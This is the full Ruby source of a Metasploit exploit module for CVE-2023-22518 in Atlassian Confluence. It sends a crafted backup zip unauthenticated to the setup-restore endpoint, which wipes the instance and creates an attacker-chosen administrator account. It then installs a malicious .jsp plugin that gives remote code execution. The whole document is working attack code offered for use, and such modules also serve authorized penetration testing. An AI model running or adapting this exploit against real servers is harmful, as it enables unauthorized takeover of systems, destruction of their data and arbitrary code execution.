Atlassian Confluence Improper Authorization / Code Execution

### This module requires Metasploit: https://metasploit.com/download# Current source: https://github.com/rapid7/metasploit-framework##class MetasploitModule < Msf::Exploit::Remote  Rank = ExcellentRanking  include Msf::Exploit::Remote::HttpClient  include Msf::Exploit::Remote::HTTP::Atlassian::Confluence::Version  include Msf::Exploit::Remote::HTTP::Atlassian::Confluence::PayloadPlugin  prepend Msf::Exploit::Remote::AutoCheck  def initialize(info = {})    super(      update_info(        info,        'Name' => 'Atlassian Confluence Unauth JSON setup-restore Improper Authorization leading to RCE (CVE-2023-22518)',        'Description' => %q{          This Improper Authorization vulnerability allows an unauthenticated attacker to reset Confluence and create a          Confluence instance administrator account. Using this account, an attacker can then perform all          administrative actions that are available to Confluence instance administrator. This module uses the          administrator account to install a malicious .jsp servlet plugin which the user can trigger to gain code          execution on the target in the context of the of the user running the confluence server.        },        'Author' => [          'Atlassian', # Discovery          'jheysel-r7' # msf module        ],        'References' => [          [ 'URL', 'https://jira.atlassian.com/browse/CONFSERVER-93142'],          [ 'CVE', '2023-22518']        ],        'License' => MSF_LICENSE,        'Privileged' => false,        'Targets' => [          [            'Java',            {              'Platform' => 'java',              'Arch' => [ARCH_JAVA]            },          ]        ],        'DisclosureDate' => '2023-10-31',        'Notes' => {          'Stability' => [ CRASH_SAFE, ],          'SideEffects' => [ CONFIG_CHANGES, ], # Major config changes - this module overwrites the confluence server with an empty backup with known admin credentials          'Reliability' => [ REPEATABLE_SESSION, ]        }      )    )    register_options(      [        Opt::RPORT(8090),        OptString.new('NEW_USERNAME', [true, 'Username to be used when creating a new user with admin privileges', Faker::Internet.username], regex: /^[a-z._@]+$/),        OptString.new('NEW_PASSWORD', [true, 'Password to be used when creating a new user with admin privileges', Rex::Text.rand_text_alpha(8)]),        # The endpoint we target to trigger the vulnerability.        OptEnum.new('CONFLUENCE_TARGET_ENDPOINT', [true, 'The endpoint used to trigger the vulnerability.', '/json/setup-restore.action', ['/json/setup-restore.action', '/json/setup-restore-local.action', '/json/setup-restore-progress.action']]),        # We upload a new plugin, we need to wait for the plugin to be installed. This options governs how long we wait.        OptInt.new('CONFLUENCE_PLUGIN_TIMEOUT', [true, 'The timeout (in seconds) to wait when installing a plugin', 30])      ]    )  end  def check    confluence_version = get_confluence_version    return Exploit::CheckCode::Unknown('Unable to determine the confluence version') unless confluence_version    # Confluence Server and Confluence Data Center have the same vulnerable version ranges.    if confluence_version.between?(Rex::Version.new('1.0.0'), Rex::Version.new('7.19.15')) ||       confluence_version.between?(Rex::Version.new('7.20.0'), Rex::Version.new('8.3.3')) ||       confluence_version.between?(Rex::Version.new('8.4.0'), Rex::Version.new('8.4.3')) ||       confluence_version.between?(Rex::Version.new('8.5.0'), Rex::Version.new('8.5.2')) ||       confluence_version == Rex::Version.new('8.6.0')      return Exploit::CheckCode::Appears("Exploitable version of Confluence: #{confluence_version}")    end    Exploit::CheckCode::Safe("Confluence version: #{confluence_version}")  end  # https://passlib.readthedocs.io/en/stable/lib/passlib.hash.atlassian_pbkdf2_sha1.html  def generate_hash(password)    salt = OpenSSL::Random.random_bytes(16)    iterations = 10000    digest = OpenSSL::Digest.new('SHA1')    key = OpenSSL::PKCS5.pbkdf2_hmac(password, salt, iterations, 32, digest)    salted_key = salt + key    encoded_hash = Base64.strict_encode64(salted_key)    '{PKCS5S2}' + encoded_hash  end  def create_zip    zip_file = Rex::Zip::Archive.new    # exportDescriptor.properties needs to be present in the zip file in order for it to be valid.    export_descriptor = File.read(File.join(Msf::Config.data_directory, 'exploits', 'CVE-2023-22518', 'exportDescriptor.properties'))    zip_file.add_file('exportDescriptor.properties', export_descriptor)    entities_xml = File.read(File.join(Msf::Config.data_directory, 'exploits', 'CVE-2023-22518', 'entities.xml'))    entities_xml.gsub!('NEW_USERNAME_LOWER', datastore['NEW_USERNAME'].downcase)    entities_xml.gsub!('NEW_USERNAME', datastore['NEW_USERNAME'])    entities_xml.gsub!('NEW_PASSWORD_HASH', generate_hash(datastore['NEW_PASSWORD']))    zip_file.add_file('entities.xml', entities_xml)    zip_file.pack  end  def upload_backup    zip_file = create_zip    post_data = Rex::MIME::Message.new    post_data.add_part('false', nil, nil, 'form-data; name="buildIndex"')    post_data.add_part('Upload and import', nil, nil, 'form-data; name="edit"')    post_data.add_part(zip_file, 'application/zip', 'binary', "form-data; name=\"file\"; filename=\"#{rand_text_alphanumeric(8..16)}\"")    data = post_data.to_s    res = send_request_cgi({      'uri' => normalize_uri(target_uri.path, datastore['CONFLUENCE_TARGET_ENDPOINT']),      'method' => 'POST',      'data' => data,      'ctype' => "multipart/form-data; boundary=#{post_data.bound}",      'keep_cookies' => true,      'headers' => {        'X-Atlassian-Token' => 'no-check'      },      'vars_get' => {        'synchronous' => 'true'      }    }, 120)    fail_with(Failure::UnexpectedReply, "The endpoint #{datastore['CONFLUENCE_TARGET_ENDPOINT']} did not respond with a 302 or a 200") unless res&.code == 302 || res&.code == 200    print_good("Exploit Success! Login Using '#{datastore['NEW_USERNAME']} :: #{datastore['NEW_PASSWORD']}'")  end  def exploit    print_status("Setting credentials: #{datastore['NEW_USERNAME']}:#{datastore['NEW_PASSWORD']}")    # Exploit CVE-2023-22518 by uploading a backup .zip file to confluence with an attacker defined username & password    upload_backup    # Now with admin access, upload a .jsp plugin using the PayloadPlugin mixin to gain RCE on the target system.    payload_endpoint = rand_text_alphanumeric(8)    plugin_key = rand_text_alpha(8)    begin      payload_plugin = generate_payload_plugin(plugin_key, payload_endpoint)      upload_payload_plugin(payload_plugin, datastore['NEW_USERNAME'], datastore['NEW_PASSWORD'])      trigger_payload_plugin(payload_endpoint)    ensure      delete_payload_plugin(plugin_key, payload_endpoint, datastore['NEW_USERNAME'], datastore['NEW_PASSWORD'])    end  endend